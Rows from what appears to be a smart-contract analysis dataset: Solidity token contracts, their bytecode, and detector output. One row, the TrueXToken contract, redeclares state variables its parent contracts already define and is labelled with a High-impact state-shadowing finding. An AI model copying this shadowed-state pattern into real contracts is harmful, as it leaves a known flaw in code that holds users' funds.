// < 0x00000000000000000000000000000000000000000000000057D2F29C5B556108 >
// < FGRE_Portfolio_III_metadata_line_24_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_22_20580515 >
// < cKo9tYddqTANR67KA7ceZ4YnxG4LCC1zznaPGhOSWDIKVtnLpmytl2qe0lubYWBy >
// < 1E-018 limites [ 15323220564,2654 ; 18048476167,4493 ] >
// < 0x0000000000000000000000000000000000000000000000005B5561086B93CA01 >
// < FGRE_Portfolio_III_metadata_line_25_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_23_20580515 >
// < ARq6s5h04o64kC8F20tt6z62Pne12SLrc5LW813VYnDR18j1xZ8BhZQ8G3886tW0 >
// < 1E-018 limites [ 18048476167,4493 ; 18161194680,6008 ] >
// < 0x0000000000000000000000000000000000000000000000006B93CA016C3FC8AC >
// < FGRE_Portfolio_III_metadata_line_26_____CCR_FGRE_IDX_ZONE_57510_57510_6_67_20580515 >
// < 39VR81X7YG5uQQHaLWOFo1QpGsi6vbay2m219Z0fl7lWmUD4JaJ7KMw9O3BA3I99 >
// < 1E-018 limites [ 18161194680,6008 ; 18263154726,7917 ] >
// < 0x0000000000000000000000000000000000000000000000006C3FC8AC6CDB5CD1 >
// < FGRE_Portfolio_III_metadata_line_27_____CCR_FGRE_IDX_ZONE_57510_57510_6_68_20580515 >
// < DwiiqfzKVLCMlNSFtt26R4mu5e6FRQ1kPh0CX4utPH6CwiWhkRw8GGDQZ2M2LysC >
// < 1E-018 limites [ 18263154726,7917 ; 18474505984,281 ] >
// < 0x0000000000000000000000000000000000000000000000006CDB5CD16E1DDBE6 >
// < FGRE_Portfolio_III_metadata_line_28_____CCR_FGRE_IDX_ZONE_57510_57510_6_70_20580515 >
// < 25I3IDj6Sw2ziN6zs8Fkh48jgre195Ha1YUfLREcUV8d77yDJ43qD1K5AyJJ07wa >
// < 1E-018 limites [ 18474505984,281 ; 20395406096,4228 ] >
// < 0x0000000000000000000000000000000000000000000000006E1DDBE67990EB82 >
// < FGRE_Portfolio_III_metadata_line_29_____CCR_FGRE_IDX_ZONE_57510_57510_6_77_20580515 >
// < 8fetqrf8O8BZwYwEhaW0SFx64h4MV811AbYktPUDkrmtJo7s72Z05od280IpX42s >
// < 1E-018 limites [ 20395406096,4228 ; 20507443966,6689 ] >
// < 0x0000000000000000000000000000000000000000000000007990EB827A3BE04D >
// < FGRE_Portfolio_III_metadata_line_30_____CCR_FGRE_IDX_ZONE_57510_57510_6_78_20580515 >
// < QuxbipSjNe1AHeop98u6bB7ySu7Bf4Tu3sQy1vzeCWaJV7Gu0783vPytIHJl7qnK >
// < 1E-018 limites [ 20507443966,6689 ; 21459120893,5742 ] >
// < 0x0000000000000000000000000000000000000000000000007A3BE04D7FE80519 >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < FGRE_Portfolio_III_metadata_line_31_____CCR_FGRE_IDX_ZONE_57510_57510_6_79_20580515 >
// < QD63EYIo8YVSCyYR1504fwbeBrTU99I8EcT02CmP8LXqv2947UgVe86m3F7g9jkf >
// < 1E-018 limites [ 21459120893,5742 ; 21868767891,7741 ] >
// < 0x0000000000000000000000000000000000000000000000007FE8051982591775 >
// < FGRE_Portfolio_III_metadata_line_32_____CCR_FGRE_IDX_ZONE_57660_18_1_20580515 >
// < d53R50s9udA8Lto1ksfNh488Cf0jng90ok9T37o973P79vZID0M6EPZ7wR3AApTh >
// < 1E-018 limites [ 21868767891,7741 ; 21968088546,7113 ] >
// < 0x0000000000000000000000000000000000000000000000008259177582F0A497 >
// < FGRE_Portfolio_III_metadata_line_33_____CCR_FGRE_IDX_ZONE_57660_18_2_20580515 >
// < 7V3ZpPmgRV0oS55b5Y28W4JhHA0GA1WnvW5RDJD38Z02KmK1BHjLW6P28619ocBf >
// < 1E-018 limites [ 21968088546,7113 ; 22099500120,6173 ] >
// < 0x00000000000000000000000000000000000000000000000082F0A49783B9293C >
// < FGRE_Portfolio_III_metadata_line_34_____CCR_FGRE_IDX_ZONE_57660_18_3_20580515 >
// < U5NPRanjKsma2s827aC0Al9Kh84j8JtYy0b1o9Pw7s6WzKv4VT4BoB5O6Y460Fs1 >
// < 1E-018 limites [ 22099500120,6173 ; 22403905409,0278 ] >
// < 0x00000000000000000000000000000000000000000000000083B9293C8589A58D >
// < FGRE_Portfolio_III_metadata_line_35_____CCR_FGRE_IDX_ZONE_57660_18_4_20580515 >
// < ym0gBvmaqSVxiozdJ8q78t05xWlKkKAnDY4oq3ZgwUCsUW1kWYhtB4HjiCFJiO0W >
// < 1E-018 limites [ 22403905409,0278 ; 22808944800,977 ] >
// < 0x0000000000000000000000000000000000000000000000008589A58D87F3B010 >
// < FGRE_Portfolio_III_metadata_line_36_____CCR_FGRE_IDX_ZONE_57660_18_5_20580515 >
// < qOyZmtkLL6825CQ04j0D5cpxpnj35PWmsbckSt5WBaMKWOY8IvGdFhT2924WpBUX >
// < 1E-018 limites [ 22808944800,977 ; ] >
// < 0x00000000000000000000000000000000000000000000000087F3B01089601547 >
// < FGRE_Portfolio_III_metadata_line_37_____CCR_FGRE_IDX_ZONE_57660_18_6_20580515 >
// < F0R0Y97S6kvz6cKruL7XkSd46Bz0qU4zN52I0oNOM3f6R38869O183Bg93DsS564 >
// < 1E-018 limites [ 23047754952,0116 ; 24522859198,0236 ] >
// < 0x00000000000000000000000000000000000000000000000089601547922AE9E0 >
// < FGRE_Portfolio_III_metadata_line_38_____CCR_FGRE_IDX_ZONE_57660_18_7_20580515 >
// < d238QoI3394Fy3vTv44z4ZtUc7qXofu1KZjr83BM35O5K383oHU5cgtJdIM28y2c >
// < 1E-018 limites [ 24522859198,0236 ; 24692011003,9209 ] >
// < 0x000000000000000000000000000000000000000000000000922AE9E0932D04CC >
// < FGRE_Portfolio_III_metadata_line_39_____CCR_FGRE_IDX_ZONE_57660_18_8_20580515 >
// < 146U40SOT2N2Ugw4eLVL48x6f69DZGS7Q5K60VziHRZCP29Dd5Hgt4Xxm2RL3sNr >
// < 1E-018 limites [ 24692011003,9209 ; 25027901043,2037 ] >
// < 0x000000000000000000000000000000000000000000000000932D04CC952D8BD8 >
// < FGRE_Portfolio_III_metadata_line_40_____CCR_FGRE_IDX_ZONE_57660_18_9_20580515 >
// < 11aq120KCKs0uySj8xLopPr7g1J9kbYTNy77Ebq0LNINB06S4jhExrRi2DR0E6DB >
// < 1E-018 limites [ 25027901043,2037 ; 26619797430,7234 ] >
// < 0x000000000000000000000000000000000000000000000000952D8BD89EAA965F >
}
|
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a7230582062132101b921686abb30c55617af645f62498e04b7b120193e41b532a48820b50029
|
{"success": true, "error": null, "results": {}}
| 9,439 |
0x746bfaa848ca6b6d9dfe0bcd64af47f17afe18df
|
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract TrueXToken is DetailedERC20, PausableToken, CappedToken {
string public name = "TrueMedicines Token";
string public symbol = "TRUEX";
uint8 public decimals = 18;
uint public cap = 1000000000 ether;
/**
* @dev Constructor for the TrueX Token contract.
*
* This contract creates a Pausable, Capped, Mintable token
* Pausing freezes all token functions - transfers, allowances, minting
* The Cap is the max number of tokens that can ever exist.
* Minting will stop if the cap is reached or finishMinting() is called
* finishMinting() is permanent
*/
constructor()
CappedToken(cap)
DetailedERC20(name, symbol, decimals)
public { }
/**
* @dev Special override for the standard mint function
*
* The mint function is not overridden in the PausableToken so we must
* override here to include the whenNotPaused modifier
*
* @param _to Recepient of new tokens
* @param _amount Amount to mint
*/
function mint(address _to, uint256 _amount) whenNotPaused public returns (bool) {
return super.mint(_to, _amount);
}
/**
* @dev Special override for the standard finishMinting function
*
* The finishMinting function is not overridden in the PausableToken so we must
* override here to include the whenNotPaused modifier
*/
function finishMinting() whenNotPaused public returns (bool) {
return super.finishMinting();
}
}
|
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012157806306fdde031461014a578063095ea7b3146101d457806318160ddd146101f857806323b872dd1461021f578063313ce56714610249578063355274ea146102745780633f4ba83a1461028957806340c10f19146102a05780635c975abb146102c457806366188463146102d957806370a08231146102fd578063715018a61461031e5780637d64bcb4146103335780638456cb59146103485780638da5cb5b1461035d57806395d89b411461038e578063a9059cbb146103a3578063d73dd623146103c7578063dd62ed3e146103eb578063f2fde38b14610412575b600080fd5b34801561012d57600080fd5b50610136610433565b604080519115158252519081900360200190f35b34801561015657600080fd5b5061015f610455565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610199578181015183820152602001610181565b50505050905090810190601f1680156101c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e057600080fd5b50610136600160a060020a03600435166024356104e3565b34801561020457600080fd5b5061020d61050e565b60408051918252519081900360200190f35b34801561022b57600080fd5b50610136600160a060020a0360043581169060243516604435610514565b34801561025557600080fd5b5061025e610541565b6040805160ff9092168252519081900360200190f35b34801561028057600080fd5b5061020d61054a565b34801561029557600080fd5b5061029e610550565b005b3480156102ac57600080fd5b50610136600160a060020a03600435166024356105c8565b3480156102d057600080fd5b506101366105ec565b3480156102e557600080fd5b50610136600160a060020a03600435166024356105fc565b34801561030957600080fd5b5061020d600160a060020a0360043516610620565b34801561032a57600080fd5b5061029e61063b565b34801561033f57600080fd5b506101366106a9565b34801561035457600080fd5b5061029e6106d0565b34801561036957600080fd5b5061037261074d565b60408051600160a060020a039092168252519081900360200190f35b34801561039a57600080fd5b5061015f61075c565b3480156103af57600080fd5b50610136600160a060020a03600435166024356107b7565b3480156103d357600080fd5b50610136600160a060020a03600435166024356107db565b3480156103f757600080fd5b5061020d600160a060020a03600435811690602435166107ff565b34801561041e57600080fd5b5061029e600160a060020a036004351661082a565b6006547501000000000000000000000000000000000000000000900460ff1681565b6008805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104db5780601f106104b0576101008083540402835291602001916104db565b820191906000526020600020905b8154815290600101906020018083116104be57829003601f168201915b505050505081565b60065460009060a060020a900460ff16156104fd57600080fd5b610507838361084d565b9392505050565b60045490565b60065460009060a060020a900460ff161561052e57600080fd5b6105398484846108b3565b949350505050565b600a5460ff1681565b600b5481565b600654600160a060020a0316331461056757600080fd5b60065460a060020a900460ff16151561057f57600080fd5b6006805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60065460009060a060020a900460ff16156105e257600080fd5b6105078383610a2c565b60065460a060020a900460ff1681565b60065460009060a060020a900460ff161561061657600080fd5b6105078383610a5b565b600160a060020a031660009081526003602052604090205490565b600654600160a060020a0316331461065257600080fd5b600654604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26006805473ffffffffffffffffffffffffffffffffffffffff19169055565b60065460009060a060020a900460ff16156106c357600080fd5b6106cb610b4b565b905090565b600654600160a060020a031633146106e757600080fd5b60065460a060020a900460ff16156106fe57600080fd5b6006805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600654600160a060020a031681565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104db5780601f106104b0576101008083540402835291602001916104db565b60065460009060a060020a900460ff16156107d157600080fd5b6105078383610bf4565b60065460009060a060020a900460ff16156107f557600080fd5b6105078383610cd7565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600654600160a060020a0316331461084157600080fd5b61084a81610d70565b50565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156108ca57600080fd5b600160a060020a0384166000908152600360205260409020548211156108ef57600080fd5b600160a060020a038416600090815260056020908152604080832033845290915290205482111561091f57600080fd5b600160a060020a038416600090815260036020526040902054610948908363ffffffff610dee16565b600160a060020a03808616600090815260036020526040808220939093559085168152205461097d908363ffffffff610e0016565b600160a060020a0380851660009081526003602090815260408083209490945591871681526005825282812033825290915220546109c1908363ffffffff610dee16565b600160a060020a03808616600081815260056020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6000600754610a4683600454610e0090919063ffffffff16565b1115610a5157600080fd5b6105078383610e13565b336000908152600560209081526040808320600160a060020a038616845290915281205480831115610ab057336000908152600560209081526040808320600160a060020a0388168452909152812055610ae5565b610ac0818463ffffffff610dee16565b336000908152600560209081526040808320600160a060020a03891684529091529020555b336000818152600560209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600654600090600160a060020a03163314610b6557600080fd5b6006547501000000000000000000000000000000000000000000900460ff1615610b8e57600080fd5b6006805475ff000000000000000000000000000000000000000000191675010000000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b6000600160a060020a0383161515610c0b57600080fd5b33600090815260036020526040902054821115610c2757600080fd5b33600090815260036020526040902054610c47908363ffffffff610dee16565b3360009081526003602052604080822092909255600160a060020a03851681522054610c79908363ffffffff610e0016565b600160a060020a0384166000818152600360209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600560209081526040808320600160a060020a0386168452909152812054610d0b908363ffffffff610e0016565b336000818152600560209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a0381161515610d8557600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610dfa57fe5b50900390565b81810182811015610e0d57fe5b92915050565b600654600090600160a060020a03163314610e2d57600080fd5b6006547501000000000000000000000000000000000000000000900460ff1615610e5657600080fd5b600454610e69908363ffffffff610e0016565b600455600160a060020a038316600090815260036020526040902054610e95908363ffffffff610e0016565b600160a060020a038416600081815260036020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a723058204f73829dff796a51361e0189b41b29266798238ba0f15058c922c152ea71dd980029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 9,440 |
0x1e9795f10aaf4a233f763f94f9e6b3cd48024f76
|
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
string public note;
uint8 public decimals;
constructor(string _name, string _symbol, string _note, uint8 _decimals) public {
name = _name;
symbol = _symbol;
note = _note;
decimals = _decimals;
}
}
contract Ownable {
address public owner;
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyOwnerOrAdmin() {
require(msg.sender != address(0) && (msg.sender == owner || msg.sender == admin));
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
require(newOwner != owner);
